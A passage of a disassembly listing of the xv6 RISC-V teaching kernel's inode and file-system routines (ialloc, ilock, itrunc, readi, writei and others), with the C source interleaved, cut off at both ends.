s3,s3,-1390 # 8001fe40 <sb> 800033b6: 02000613 li a2,32 800033ba: 05850593 addi a1,a0,88 800033be: 854e mv a0,s3 800033c0: ffffe097 auipc ra,0xffffe 800033c4: 9ac080e7 jalr -1620(ra) # 80000d6c <memmove> brelse(bp); 800033c8: 8526 mv a0,s1 800033ca: 00000097 auipc ra,0x0 800033ce: b6e080e7 jalr -1170(ra) # 80002f38 <brelse> if(sb.magic != FSMAGIC) 800033d2: 0009a703 lw a4,0(s3) 800033d6: 102037b7 lui a5,0x10203 800033da: 04078793 addi a5,a5,64 # 10203040 <_entry-0x6fdfcfc0> 800033de: 02f71263 bne a4,a5,80003402 <fsinit+0x70> initlog(dev, &sb); 800033e2: 0001d597 auipc a1,0x1d 800033e6: a5e58593 addi a1,a1,-1442 # 8001fe40 <sb> 800033ea: 854a mv a0,s2 800033ec: 00001097 auipc ra,0x1 800033f0: b38080e7 jalr -1224(ra) # 80003f24 <initlog> } 800033f4: 70a2 ld ra,40(sp) 800033f6: 7402 ld s0,32(sp) 800033f8: 64e2 ld s1,24(sp) 800033fa: 6942 ld s2,16(sp) 800033fc: 69a2 ld s3,8(sp) 800033fe: 6145 addi sp,sp,48 80003400: 8082 ret panic("invalid file system"); 80003402: 00005517 auipc a0,0x5 80003406: 16650513 addi a0,a0,358 # 80008568 <syscalls+0x140> 8000340a: ffffd097 auipc ra,0xffffd 8000340e: 13e080e7 jalr 318(ra) # 80000548 <panic> 0000000080003412 <iinit>: { 80003412: 7179 addi sp,sp,-48 80003414: f406 sd ra,40(sp) 80003416: f022 sd s0,32(sp) 80003418: ec26 sd s1,24(sp) 8000341a: e84a sd s2,16(sp) 8000341c: e44e sd s3,8(sp) 8000341e: 1800 addi s0,sp,48 initlock(&icache.lock, "icache"); 80003420: 00005597 auipc a1,0x5 80003424: 16058593 addi a1,a1,352 # 80008580 <syscalls+0x158> 80003428: 0001d517 auipc a0,0x1d 8000342c: a3850513 addi a0,a0,-1480 # 8001fe60 <icache> 80003430: ffffd097 auipc ra,0xffffd 80003434: 750080e7 jalr 1872(ra) # 80000b80 <initlock> for(i = 0; i < NINODE; i++) { 80003438: 0001d497 auipc s1,0x1d 8000343c: a5048493 addi s1,s1,-1456 # 8001fe88 <icache+0x28> 80003440: 0001e997 auipc s3,0x1e 80003444: 4d898993 addi s3,s3,1240 # 80021918 <log+0x10> initsleeplock(&icache.inode[i].lock, "inode"); 80003448: 00005917 auipc s2,0x5 8000344c: 14090913 addi s2,s2,320 # 80008588 <syscalls+0x160> 80003450: 85ca mv a1,s2 80003452: 8526 mv a0,s1 80003454: 00001097 auipc ra,0x1 80003458: e36080e7 jalr -458(ra) # 8000428a <initsleeplock> for(i = 0; i < NINODE; i++) { 8000345c: 08848493 addi s1,s1,136 80003460: ff3498e3 bne s1,s3,80003450 <iinit+0x3e> } 80003464: 70a2 ld ra,40(sp) 80003466: 7402 ld s0,32(sp) 80003468: 64e2 ld s1,24(sp) 8000346a: 6942 ld s2,16(sp) 8000346c: 69a2 ld s3,8(sp) 8000346e: 6145 addi sp,sp,48 80003470: 8082 ret 0000000080003472 <ialloc>: { 80003472: 715d addi sp,sp,-80 80003474: e486 sd ra,72(sp) 80003476: e0a2 sd s0,64(sp) 80003478: fc26 sd s1,56(sp) 8000347a: f84a sd s2,48(sp) 8000347c: f44e sd s3,40(sp) 8000347e: f052 sd s4,32(sp) 80003480: ec56 sd s5,24(sp) 80003482: e85a sd s6,16(sp) 80003484: e45e sd s7,8(sp) 80003486: 0880 addi s0,sp,80 for(inum = 1; inum < sb.ninodes; inum++){ 80003488: 0001d717 auipc a4,0x1d 8000348c: 9c472703 lw a4,-1596(a4) # 8001fe4c <sb+0xc> 80003490: 4785 li a5,1 80003492: 04e7fa63 bgeu a5,a4,800034e6 <ialloc+0x74> 80003496: 8aaa mv s5,a0 80003498: 8bae mv s7,a1 8000349a: 4485 li s1,1 bp = bread(dev, IBLOCK(inum, sb)); 8000349c: 0001da17 auipc s4,0x1d 800034a0: 9a4a0a13 addi s4,s4,-1628 # 8001fe40 <sb> 800034a4: 00048b1b sext.w s6,s1 800034a8: 0044d593 srli a1,s1,0x4 800034ac: 018a2783 lw a5,24(s4) 800034b0: 9dbd addw a1,a1,a5 800034b2: 8556 mv a0,s5 800034b4: 00000097 auipc ra,0x0 800034b8: 954080e7 jalr -1708(ra) # 80002e08 <bread> 800034bc: 892a mv s2,a0 dip = (struct dinode*)bp->data + inum%IPB; 800034be: 05850993 addi s3,a0,88 800034c2: 00f4f793 andi a5,s1,15 800034c6: 079a slli a5,a5,0x6 800034c8: 99be add s3,s3,a5 if(dip->type == 0){ // a free inode 800034ca: 00099783 lh a5,0(s3) 800034ce: c785 beqz a5,800034f6 <ialloc+0x84> brelse(bp); 800034d0: 00000097 auipc ra,0x0 800034d4: a68080e7 jalr -1432(ra) # 80002f38 <brelse> for(inum = 1; inum < sb.ninodes; inum++){ 800034d8: 0485 addi s1,s1,1 800034da: 00ca2703 lw a4,12(s4) 800034de: 0004879b sext.w a5,s1 800034e2: fce7e1e3 bltu a5,a4,800034a4 <ialloc+0x32> panic("ialloc: no inodes"); 800034e6: 00005517 auipc a0,0x5 800034ea: 0aa50513 addi a0,a0,170 # 80008590 <syscalls+0x168> 800034ee: ffffd097 auipc ra,0xffffd 800034f2: 05a080e7 jalr 90(ra) # 80000548 <panic> memset(dip, 0, sizeof(*dip)); 800034f6: 04000613 li a2,64 800034fa: 4581 li a1,0 800034fc: 854e mv a0,s3 800034fe: ffffe097 auipc ra,0xffffe 80003502: 80e080e7 jalr -2034(ra) # 80000d0c <memset> dip->type = type; 80003506: 01799023 sh s7,0(s3) log_write(bp); // mark it allocated on the disk 8000350a: 854a mv a0,s2 8000350c: 00001097 auipc ra,0x1 80003510: c90080e7 jalr -880(ra) # 8000419c <log_write> brelse(bp); 80003514: 854a mv a0,s2 80003516: 00000097 auipc ra,0x0 8000351a: a22080e7 jalr -1502(ra) # 80002f38 <brelse> return iget(dev, inum); 8000351e: 85da mv a1,s6 80003520: 8556 mv a0,s5 80003522: 00000097 auipc ra,0x0 80003526: db4080e7 jalr -588(ra) # 800032d6 <iget> } 8000352a: 60a6 ld ra,72(sp) 8000352c: 6406 ld s0,64(sp) 8000352e: 74e2 ld s1,56(sp) 80003530: 7942 ld s2,48(sp) 80003532: 79a2 ld s3,40(sp) 80003534: 7a02 ld s4,32(sp) 80003536: 6ae2 ld s5,24(sp) 80003538: 6b42 ld s6,16(sp) 8000353a: 6ba2 ld s7,8(sp) 8000353c: 6161 addi sp,sp,80 8000353e: 8082 ret 0000000080003540 <iupdate>: { 80003540: 1101 addi sp,sp,-32 80003542: ec06 sd ra,24(sp) 80003544: e822 sd s0,16(sp) 80003546: e426 sd s1,8(sp) 80003548: e04a sd s2,0(sp) 8000354a: 1000 addi s0,sp,32 8000354c: 84aa mv s1,a0 bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 8000354e: 415c lw a5,4(a0) 80003550: 0047d79b srliw a5,a5,0x4 80003554: 0001d597 auipc a1,0x1d 80003558: 9045a583 lw a1,-1788(a1) # 8001fe58 <sb+0x18> 8000355c: 9dbd addw a1,a1,a5 8000355e: 4108 lw a0,0(a0) 80003560: 00000097 auipc ra,0x0 80003564: 8a8080e7 jalr -1880(ra) # 80002e08 <bread> 80003568: 892a mv s2,a0 dip = (struct dinode*)bp->data + ip->inum%IPB; 8000356a: 05850793 addi a5,a0,88 8000356e: 40c8 lw a0,4(s1) 80003570: 893d andi a0,a0,15 80003572: 051a slli a0,a0,0x6 80003574: 953e add a0,a0,a5 dip->type = ip->type; 80003576: 04449703 lh a4,68(s1) 8000357a: 00e51023 sh a4,0(a0) dip->major = ip->major; 8000357e: 04649703 lh a4,70(s1) 80003582: 00e51123 sh a4,2(a0) dip->minor = ip->minor; 80003586: 04849703 lh a4,72(s1) 8000358a: 00e51223 sh a4,4(a0) dip->nlink = ip->nlink; 8000358e: 04a49703 lh a4,74(s1) 80003592: 00e51323 sh a4,6(a0) dip->size = ip->size; 80003596: 44f8 lw a4,76(s1) 80003598: c518 sw a4,8(a0) memmove(dip->addrs, ip->addrs, sizeof(ip->addrs)); 8000359a: 03400613 li a2,52 8000359e: 05048593 addi a1,s1,80 800035a2: 0531 addi a0,a0,12 800035a4: ffffd097 auipc ra,0xffffd 800035a8: 7c8080e7 jalr 1992(ra) # 80000d6c <memmove> log_write(bp); 800035ac: 854a mv a0,s2 800035ae: 00001097 auipc ra,0x1 800035b2: bee080e7 jalr -1042(ra) # 8000419c <log_write> brelse(bp); 800035b6: 854a mv a0,s2 800035b8: 00000097 auipc ra,0x0 800035bc: 980080e7 jalr -1664(ra) # 80002f38 <brelse> } 800035c0: 60e2 ld ra,24(sp) 800035c2: 6442 ld s0,16(sp) 800035c4: 64a2 ld s1,8(sp) 800035c6: 6902 ld s2,0(sp) 800035c8: 6105 addi sp,sp,32 800035ca: 8082 ret 00000000800035cc <idup>: { 800035cc: 1101 addi sp,sp,-32 800035ce: ec06 sd ra,24(sp) 800035d0: e822 sd s0,16(sp) 800035d2: e426 sd s1,8(sp) 800035d4: 1000 addi s0,sp,32 800035d6: 84aa mv s1,a0 acquire(&icache.lock); 800035d8: 0001d517 auipc a0,0x1d 800035dc: 88850513 addi a0,a0,-1912 # 8001fe60 <icache> 800035e0: ffffd097 auipc ra,0xffffd 800035e4: 630080e7 jalr 1584(ra) # 80000c10 <acquire> ip->ref++; 800035e8: 449c lw a5,8(s1) 800035ea: 2785 addiw a5,a5,1 800035ec: c49c sw a5,8(s1) release(&icache.lock); 800035ee: 0001d517 auipc a0,0x1d 800035f2: 87250513 addi a0,a0,-1934 # 8001fe60 <icache> 800035f6: ffffd097 auipc ra,0xffffd 800035fa: 6ce080e7 jalr 1742(ra) # 80000cc4 <release> } 800035fe: 8526 mv a0,s1 80003600: 60e2 ld ra,24(sp) 80003602: 6442 ld s0,16(sp) 80003604: 64a2 ld s1,8(sp) 80003606: 6105 addi sp,sp,32 80003608: 8082 ret 000000008000360a <ilock>: { 8000360a: 1101 addi sp,sp,-32 8000360c: ec06 sd ra,24(sp) 8000360e: e822 sd s0,16(sp) 80003610: e426 sd s1,8(sp) 80003612: e04a sd s2,0(sp) 80003614: 1000 addi s0,sp,32 if(ip == 0 || ip->ref < 1) 80003616: c115 beqz a0,8000363a <ilock+0x30> 80003618: 84aa mv s1,a0 8000361a: 451c lw a5,8(a0) 8000361c: 00f05f63 blez a5,8000363a <ilock+0x30> acquiresleep(&ip->lock); 80003620: 0541 addi a0,a0,16 80003622: 00001097 auipc ra,0x1 80003626: ca2080e7 jalr -862(ra) # 800042c4 <acquiresleep> if(ip->valid == 0){ 8000362a: 40bc lw a5,64(s1) 8000362c: cf99 beqz a5,8000364a <ilock+0x40> } 8000362e: 60e2 ld ra,24(sp) 80003630: 6442 ld s0,16(sp) 80003632: 64a2 ld s1,8(sp) 80003634: 6902 ld s2,0(sp) 80003636: 6105 addi sp,sp,32 80003638: 8082 ret panic("ilock"); 8000363a: 00005517 auipc a0,0x5 8000363e: f6e50513 addi a0,a0,-146 # 800085a8 <syscalls+0x180> 80003642: ffffd097 auipc ra,0xffffd 80003646: f06080e7 jalr -250(ra) # 80000548 <panic> bp = bread(ip->dev, IBLOCK(ip->inum, sb)); 8000364a: 40dc lw a5,4(s1) 8000364c: 0047d79b srliw a5,a5,0x4 80003650: 0001d597 auipc a1,0x1d 80003654: 8085a583 lw a1,-2040(a1) # 8001fe58 <sb+0x18> 80003658: 9dbd addw a1,a1,a5 8000365a: 4088 lw a0,0(s1) 8000365c: fffff097 auipc ra,0xfffff 80003660: 7ac080e7 jalr 1964(ra) # 80002e08 <bread> 80003664: 892a mv s2,a0 dip = (struct dinode*)bp->data + ip->inum%IPB; 80003666: 05850593 addi a1,a0,88 8000366a: 40dc lw a5,4(s1) 8000366c: 8bbd andi a5,a5,15 8000366e: 079a slli a5,a5,0x6 80003670: 95be add a1,a1,a5 ip->type = dip->type; 80003672: 00059783 lh a5,0(a1) 80003676: 04f49223 sh a5,68(s1) ip->major = dip->major; 8000367a: 00259783 lh a5,2(a1) 8000367e: 04f49323 sh a5,70(s1) ip->minor = dip->minor; 80003682: 00459783 lh a5,4(a1) 80003686: 04f49423 sh a5,72(s1) ip->nlink = dip->nlink; 8000368a: 00659783 lh a5,6(a1) 8000368e: 04f49523 sh a5,74(s1) ip->size = dip->size; 80003692: 459c lw a5,8(a1) 80003694: c4fc sw a5,76(s1) memmove(ip->addrs, dip->addrs, sizeof(ip->addrs)); 80003696: 03400613 li a2,52 8000369a: 05b1 addi a1,a1,12 8000369c: 05048513 addi a0,s1,80 800036a0: ffffd097 auipc ra,0xffffd 800036a4: 6cc080e7 jalr 1740(ra) # 80000d6c <memmove> brelse(bp); 800036a8: 854a mv a0,s2 800036aa: 00000097 auipc ra,0x0 800036ae: 88e080e7 jalr -1906(ra) # 80002f38 <brelse> ip->valid = 1; 800036b2: 4785 li a5,1 800036b4: c0bc sw a5,64(s1) if(ip->type == 0) 800036b6: 04449783 lh a5,68(s1) 800036ba: fbb5 bnez a5,8000362e <ilock+0x24> panic("ilock: no type"); 800036bc: 00005517 auipc a0,0x5 800036c0: ef450513 addi a0,a0,-268 # 800085b0 <syscalls+0x188> 800036c4: ffffd097 auipc ra,0xffffd 800036c8: e84080e7 jalr -380(ra) # 80000548 <panic> 00000000800036cc <iunlock>: { 800036cc: 1101 addi sp,sp,-32 800036ce: ec06 sd ra,24(sp) 800036d0: e822 sd s0,16(sp) 800036d2: e426 sd s1,8(sp) 800036d4: e04a sd s2,0(sp) 800036d6: 1000 addi s0,sp,32 if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1) 800036d8: c905 beqz a0,80003708 <iunlock+0x3c> 800036da: 84aa mv s1,a0 800036dc: 01050913 addi s2,a0,16 800036e0: 854a mv a0,s2 800036e2: 00001097 auipc ra,0x1 800036e6: c7c080e7 jalr -900(ra) # 8000435e <holdingsleep> 800036ea: cd19 beqz a0,80003708 <iunlock+0x3c> 800036ec: 449c lw a5,8(s1) 800036ee: 00f05d63 blez a5,80003708 <iunlock+0x3c> releasesleep(&ip->lock); 800036f2: 854a mv a0,s2 800036f4: 00001097 auipc ra,0x1 800036f8: c26080e7 jalr -986(ra) # 8000431a <releasesleep> } 800036fc: 60e2 ld ra,24(sp) 800036fe: 6442 ld s0,16(sp) 80003700: 64a2 ld s1,8(sp) 80003702: 6902 ld s2,0(sp) 80003704: 6105 addi sp,sp,32 80003706: 8082 ret panic("iunlock"); 80003708: 00005517 auipc a0,0x5 8000370c: eb850513 addi a0,a0,-328 # 800085c0 <syscalls+0x198> 80003710: ffffd097 auipc ra,0xffffd 80003714: e38080e7 jalr -456(ra) # 80000548 <panic> 0000000080003718 <itrunc>: // Truncate inode (discard contents). // Caller must hold ip->lock. void itrunc(struct inode *ip) { 80003718: 7179 addi sp,sp,-48 8000371a: f406 sd ra,40(sp) 8000371c: f022 sd s0,32(sp) 8000371e: ec26 sd s1,24(sp) 80003720: e84a sd s2,16(sp) 80003722: e44e sd s3,8(sp) 80003724: e052 sd s4,0(sp) 80003726: 1800 addi s0,sp,48 80003728: 89aa mv s3,a0 int i, j; struct buf *bp; uint *a; for(i = 0; i < NDIRECT; i++){ 8000372a: 05050493 addi s1,a0,80 8000372e: 08050913 addi s2,a0,128 80003732: a021 j 8000373a <itrunc+0x22> 80003734: 0491 addi s1,s1,4 80003736: 01248d63 beq s1,s2,80003750 <itrunc+0x38> if(ip->addrs[i]){ 8000373a: 408c lw a1,0(s1) 8000373c: dde5 beqz a1,80003734 <itrunc+0x1c> bfree(ip->dev, ip->addrs[i]); 8000373e: 0009a503 lw a0,0(s3) 80003742: 00000097 auipc ra,0x0 80003746: 90c080e7 jalr -1780(ra) # 8000304e <bfree> ip->addrs[i] = 0; 8000374a: 0004a023 sw zero,0(s1) 8000374e: b7dd j 80003734 <itrunc+0x1c> } } if(ip->addrs[NDIRECT]){ 80003750: 0809a583 lw a1,128(s3) 80003754: e185 bnez a1,80003774 <itrunc+0x5c> brelse(bp); bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; 80003756: 0409a623 sw zero,76(s3) iupdate(ip); 8000375a: 854e mv a0,s3 8000375c: 00000097 auipc ra,0x0 80003760: de4080e7 jalr -540(ra) # 80003540 <iupdate> } 80003764: 70a2 ld ra,40(sp) 80003766: 7402 ld s0,32(sp) 80003768: 64e2 ld s1,24(sp) 8000376a: 6942 ld s2,16(sp) 8000376c: 69a2 ld s3,8(sp) 8000376e: 6a02 ld s4,0(sp) 80003770: 6145 addi sp,sp,48 80003772: 8082 ret bp = bread(ip->dev, ip->addrs[NDIRECT]); 80003774: 0009a503 lw a0,0(s3) 80003778: fffff097 auipc ra,0xfffff 8000377c: 690080e7 jalr 1680(ra) # 80002e08 <bread> 80003780: 8a2a mv s4,a0 for(j = 0; j < NINDIRECT; j++){ 80003782: 05850493 addi s1,a0,88 80003786: 45850913 addi s2,a0,1112 8000378a: a811 j 8000379e <itrunc+0x86> bfree(ip->dev, a[j]); 8000378c: 0009a503 lw a0,0(s3) 80003790: 00000097 auipc ra,0x0 80003794: 8be080e7 jalr -1858(ra) # 8000304e <bfree> for(j = 0; j < NINDIRECT; j++){ 80003798: 0491 addi s1,s1,4 8000379a: 01248563 beq s1,s2,800037a4 <itrunc+0x8c> if(a[j]) 8000379e: 408c lw a1,0(s1) 800037a0: dde5 beqz a1,80003798 <itrunc+0x80> 800037a2: b7ed j 8000378c <itrunc+0x74> brelse(bp); 800037a4: 8552 mv a0,s4 800037a6: fffff097 auipc ra,0xfffff 800037aa: 792080e7 jalr 1938(ra) # 80002f38 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 800037ae: 0809a583 lw a1,128(s3) 800037b2: 0009a503 lw a0,0(s3) 800037b6: 00000097 auipc ra,0x0 800037ba: 898080e7 jalr -1896(ra) # 8000304e <bfree> ip->addrs[NDIRECT] = 0; 800037be: 0809a023 sw zero,128(s3) 800037c2: bf51 j 80003756 <itrunc+0x3e> 00000000800037c4 <iput>: { 800037c4: 1101 addi sp,sp,-32 800037c6: ec06 sd ra,24(sp) 800037c8: e822 sd s0,16(sp) 800037ca: e426 sd s1,8(sp) 800037cc: e04a sd s2,0(sp) 800037ce: 1000 addi s0,sp,32 800037d0: 84aa mv s1,a0 acquire(&icache.lock); 800037d2: 0001c517 auipc a0,0x1c 800037d6: 68e50513 addi a0,a0,1678 # 8001fe60 <icache> 800037da: ffffd097 auipc ra,0xffffd 800037de: 436080e7 jalr 1078(ra) # 80000c10 <acquire> if(ip->ref == 1 && ip->valid && ip->nlink == 0){ 800037e2: 4498 lw a4,8(s1) 800037e4: 4785 li a5,1 800037e6: 02f70363 beq a4,a5,8000380c <iput+0x48> ip->ref--; 800037ea: 449c lw a5,8(s1) 800037ec: 37fd addiw a5,a5,-1 800037ee: c49c sw a5,8(s1) release(&icache.lock); 800037f0: 0001c517 auipc a0,0x1c 800037f4: 67050513 addi a0,a0,1648 # 8001fe60 <icache> 800037f8: ffffd097 auipc ra,0xffffd 800037fc: 4cc080e7 jalr 1228(ra) # 80000cc4 <release> } 80003800: 60e2 ld ra,24(sp) 80003802: 6442 ld s0,16(sp) 80003804: 64a2 ld s1,8(sp) 80003806: 6902 ld s2,0(sp) 80003808: 6105 addi sp,sp,32 8000380a: 8082 ret if(ip->ref == 1 && ip->valid && ip->nlink == 0){ 8000380c: 40bc lw a5,64(s1) 8000380e: dff1 beqz a5,800037ea <iput+0x26> 80003810: 04a49783 lh a5,74(s1) 80003814: fbf9 bnez a5,800037ea <iput+0x26> acquiresleep(&ip->lock); 80003816: 01048913 addi s2,s1,16 8000381a: 854a mv a0,s2 8000381c: 00001097 auipc ra,0x1 80003820: aa8080e7 jalr -1368(ra) # 800042c4 <acquiresleep> release(&icache.lock); 80003824: 0001c517 auipc a0,0x1c 80003828: 63c50513 addi a0,a0,1596 # 8001fe60 <icache> 8000382c: ffffd097 auipc ra,0xffffd 80003830: 498080e7 jalr 1176(ra) # 80000cc4 <release> itrunc(ip); 80003834: 8526 mv a0,s1 80003836: 00000097 auipc ra,0x0 8000383a: ee2080e7 jalr -286(ra) # 80003718 <itrunc> ip->type = 0; 8000383e: 04049223 sh zero,68(s1) iupdate(ip); 80003842: 8526 mv a0,s1 80003844: 00000097 auipc ra,0x0 80003848: cfc080e7 jalr -772(ra) # 80003540 <iupdate> ip->valid = 0; 8000384c: 0404a023 sw zero,64(s1) releasesleep(&ip->lock); 80003850: 854a mv a0,s2 80003852: 00001097 auipc ra,0x1 80003856: ac8080e7 jalr -1336(ra) # 8000431a <releasesleep> acquire(&icache.lock); 8000385a: 0001c517 auipc a0,0x1c 8000385e: 60650513 addi a0,a0,1542 # 8001fe60 <icache> 80003862: ffffd097 auipc ra,0xffffd 80003866: 3ae080e7 jalr 942(ra) # 80000c10 <acquire> 8000386a: b741 j 800037ea <iput+0x26> 000000008000386c <iunlockput>: { 8000386c: 1101 addi sp,sp,-32 8000386e: ec06 sd ra,24(sp) 80003870: e822 sd s0,16(sp) 80003872: e426 sd s1,8(sp) 80003874: 1000 addi s0,sp,32 80003876: 84aa mv s1,a0 iunlock(ip); 80003878: 00000097 auipc ra,0x0 8000387c: e54080e7 jalr -428(ra) # 800036cc <iunlock> iput(ip); 80003880: 8526 mv a0,s1 80003882: 00000097 auipc ra,0x0 80003886: f42080e7 jalr -190(ra) # 800037c4 <iput> } 8000388a: 60e2 ld ra,24(sp) 8000388c: 6442 ld s0,16(sp) 8000388e: 64a2 ld s1,8(sp) 80003890: 6105 addi sp,sp,32 80003892: 8082 ret 0000000080003894 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80003894: 1141 addi sp,sp,-16 80003896: e422 sd s0,8(sp) 80003898: 0800 addi s0,sp,16 st->dev = ip->dev; 8000389a: 411c lw a5,0(a0) 8000389c: c19c sw a5,0(a1) st->ino = ip->inum; 8000389e: 415c lw a5,4(a0) 800038a0: c1dc sw a5,4(a1) st->type = ip->type; 800038a2: 04451783 lh a5,68(a0) 800038a6: 00f59423 sh a5,8(a1) st->nlink = ip->nlink; 800038aa: 04a51783 lh a5,74(a0) 800038ae: 00f59523 sh a5,10(a1) st->size = ip->size; 800038b2: 04c56783 lwu a5,76(a0) 800038b6: e99c sd a5,16(a1) } 800038b8: 6422 ld s0,8(sp) 800038ba: 0141 addi sp,sp,16 800038bc: 8082 ret 00000000800038be <readi>: readi(struct inode *ip, int user_dst, uint64 dst, uint off, uint n) { uint tot, m; struct buf *bp; if(off > ip->size || off + n < off) 800038be: 457c lw a5,76(a0) 800038c0: 0ed7e863 bltu a5,a3,800039b0 <readi+0xf2> { 800038c4: 7159 addi sp,sp,-112 800038c6: f486 sd ra,104(sp) 800038c8: f0a2 sd s0,96(sp) 800038ca: eca6 sd s1,88(sp) 800038cc: e8ca sd s2,80(sp) 800038ce: e4ce sd s3,72(sp) 800038d0: e0d2 sd s4,64(sp) 800038d2: fc56 sd s5,56(sp) 800038d4: f85a sd s6,48(sp) 800038d6: f45e sd s7,40(sp) 800038d8: f062 sd s8,32(sp) 800038da: ec66 sd s9,24(sp) 800038dc: e86a sd s10,16(sp) 800038de: e46e sd s11,8(sp) 800038e0: 1880 addi s0,sp,112 800038e2: 8baa mv s7,a0 800038e4: 8c2e mv s8,a1 800038e6: 8ab2 mv s5,a2 800038e8: 84b6 mv s1,a3 800038ea: 8b3a mv s6,a4 if(off > ip->size || off + n < off) 800038ec: 9f35 addw a4,a4,a3 return 0; 800038ee: 4501 li a0,0 if(off > ip->size || off + n < off) 800038f0: 08d76f63 bltu a4,a3,8000398e <readi+0xd0> if(off + n > ip->size) 800038f4: 00e7f463 bgeu a5,a4,800038fc <readi+0x3e> n = ip->size - off; 800038f8: 40d78b3b subw s6,a5,a3 for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 800038fc: 0a0b0863 beqz s6,800039ac <readi+0xee> 80003900: 4981 li s3,0 bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); 80003902: 40000d13 li s10,1024 if(either_copyout(user_dst, dst, bp->data + (off % BSIZE), m) == -1) { 80003906: 5cfd li s9,-1 80003908: a82d j 80003942 <readi+0x84> 8000390a: 020a1d93 slli s11,s4,0x20 8000390e: 020ddd93 srli s11,s11,0x20 80003912: 05890613 addi a2,s2,88 80003916: 86ee mv a3,s11 80003918: 963a add a2,a2,a4 8000391a: 85d6 mv a1,s5 8000391c: 8562 mv a0,s8 8000391e: fffff097 auipc ra,0xfffff 80003922: b2e080e7 jalr -1234(ra) # 8000244c <either_copyout> 80003926: 05950d63 beq a0,s9,80003980 <readi+0xc2> brelse(bp); break; } brelse(bp); 8000392a: 854a mv a0,s2 8000392c: fffff097 auipc ra,0xfffff 80003930: 60c080e7 jalr 1548(ra) # 80002f38 <brelse> for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80003934: 013a09bb addw s3,s4,s3 80003938: 009a04bb addw s1,s4,s1 8000393c: 9aee add s5,s5,s11 8000393e: 0569f663 bgeu s3,s6,8000398a <readi+0xcc> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80003942: 000ba903 lw s2,0(s7) 80003946: 00a4d59b srliw a1,s1,0xa 8000394a: 855e mv a0,s7 8000394c: 00000097 auipc ra,0x0 80003950: 8b0080e7 jalr -1872(ra) # 800031fc <bmap> 80003954: 0005059b sext.w a1,a0 80003958: 854a mv a0,s2 8000395a: fffff097 auipc ra,0xfffff 8000395e: 4ae080e7 jalr 1198(ra) # 80002e08 <bread> 80003962: 892a mv s2,a0 m = min(n - tot, BSIZE - off%BSIZE); 80003964: 3ff4f713 andi a4,s1,1023 80003968: 40ed07bb subw a5,s10,a4 8000396c: 413b06bb subw a3,s6,s3 80003970: 8a3e mv s4,a5 80003972: 2781 sext.w a5,a5 80003974: 0006861b sext.w a2,a3 80003978: f8f679e3 bgeu a2,a5,8000390a <readi+0x4c> 8000397c: 8a36 mv s4,a3 8000397e: b771 j 8000390a <readi+0x4c> brelse(bp); 80003980: 854a mv a0,s2 80003982: fffff097 auipc ra,0xfffff 80003986: 5b6080e7 jalr 1462(ra) # 80002f38 <brelse> } return tot; 8000398a: 0009851b sext.w a0,s3 } 8000398e: 70a6 ld ra,104(sp) 80003990: 7406 ld s0,96(sp) 80003992: 64e6 ld s1,88(sp) 80003994: 6946 ld s2,80(sp) 80003996: 69a6 ld s3,72(sp) 80003998: 6a06 ld s4,64(sp) 8000399a: 7ae2 ld s5,56(sp) 8000399c: 7b42 ld s6,48(sp) 8000399e: 7ba2 ld s7,40(sp) 800039a0: 7c02 ld s8,32(sp) 800039a2: 6ce2 ld s9,24(sp) 800039a4: 6d42 ld s10,16(sp) 800039a6: 6da2 ld s11,8(sp) 800039a8: 6165 addi sp,sp,112 800039aa: 8082 ret for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 800039ac: 89da mv s3,s6 800039ae: bff1 j 8000398a <readi+0xcc> return 0; 800039b0: 4501 li a0,0 } 800039b2: 8082 ret 00000000800039b4 <writei>: writei(struct inode *ip, int user_src, uint64 src, uint off, uint n) { uint tot, m; struct buf *bp; if(off > ip->size || off + n < off) 800039b4: 457c lw a5,76(a0) 800039b6: 10d7e663 bltu a5,a3,80003ac2 <writei+0x10e> { 800039ba: 7159 addi sp,sp,-112 800039bc: f486 sd ra,104(sp) 800039be: f0a2 sd s0,96(sp) 800039c0: eca6 sd s1,88(sp) 800039c2: e8ca sd s2,80(sp) 800039c4: e4ce sd s3,72(sp) 800039c6: e0d2 sd s4,64(sp) 800039c8: fc56 sd s5,56(sp) 800039ca: f85a sd s6,48(sp) 800039cc: f45e sd s7,40(sp) 800039ce: f062 sd s8,32(sp) 800039d0: ec66 sd s9,24(sp) 800039d2: e86a sd s10,16(sp) 800039d4: e46e sd s11,8(sp) 800039d6: 1880 addi s0,sp,112 800039d8: 8baa mv s7,a0 800039da: 8c2e mv s8,a1 800039dc: 8ab2 mv s5,a2 800039de: 8936 mv s2,a3 800039e0: 8b3a mv s6,a4 if(off > ip->size || off + n < off) 800039e2: 00e687bb addw a5,a3,a4 800039e6: 0ed7e063 bltu a5,a3,80003ac6 <writei+0x112> return -1; if(off + n > MAXFILE*BSIZE) 800039ea: 00043737 lui a4,0x43 800039ee: 0cf76e63 bltu a4,a5,80003aca <writei+0x116> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 800039f2: 0a0b0763 beqz s6,80003aa0 <writei+0xec> 800039f6: 4a01 li s4,0 bp = bread(ip->dev, bmap(ip, off/BSIZE)); m = min(n - tot, BSIZE - off%BSIZE); 800039f8: 40000d13 li s10,1024 if(either_copyin(bp->data + (off % BSIZE), user_src, src, m) == -1) { 800039fc: 5cfd li s9,-1 800039fe: a091 j 80003a42 <writei+0x8e> 80003a00: 02099d93 slli s11,s3,0x20 80003a04: 020ddd93 srli s11,s11,0x20 80003a08: 05848513 addi a0,s1,88 80003a0c: 86ee mv a3,s11 80003a0e: 8656 mv a2,s5 80003a10: 85e2 mv a1,s8 80003a12: 953a add a0,a0,a4 80003a14: fffff097 auipc ra,0xfffff 80003a18: a8e080e7 jalr -1394(ra) # 800024a2 <either_copyin> 80003a1c: 07950263 beq a0,s9,80003a80 <writei+0xcc> brelse(bp); break; } log_write(bp); 80003a20: 8526 mv a0,s1 80003a22: 00000097 auipc ra,0x0 80003a26: 77a080e7 jalr 1914(ra) # 8000419c <log_write> brelse(bp); 80003a2a: 8526 mv a0,s1 80003a2c: fffff097 auipc ra,0xfffff 80003a30: 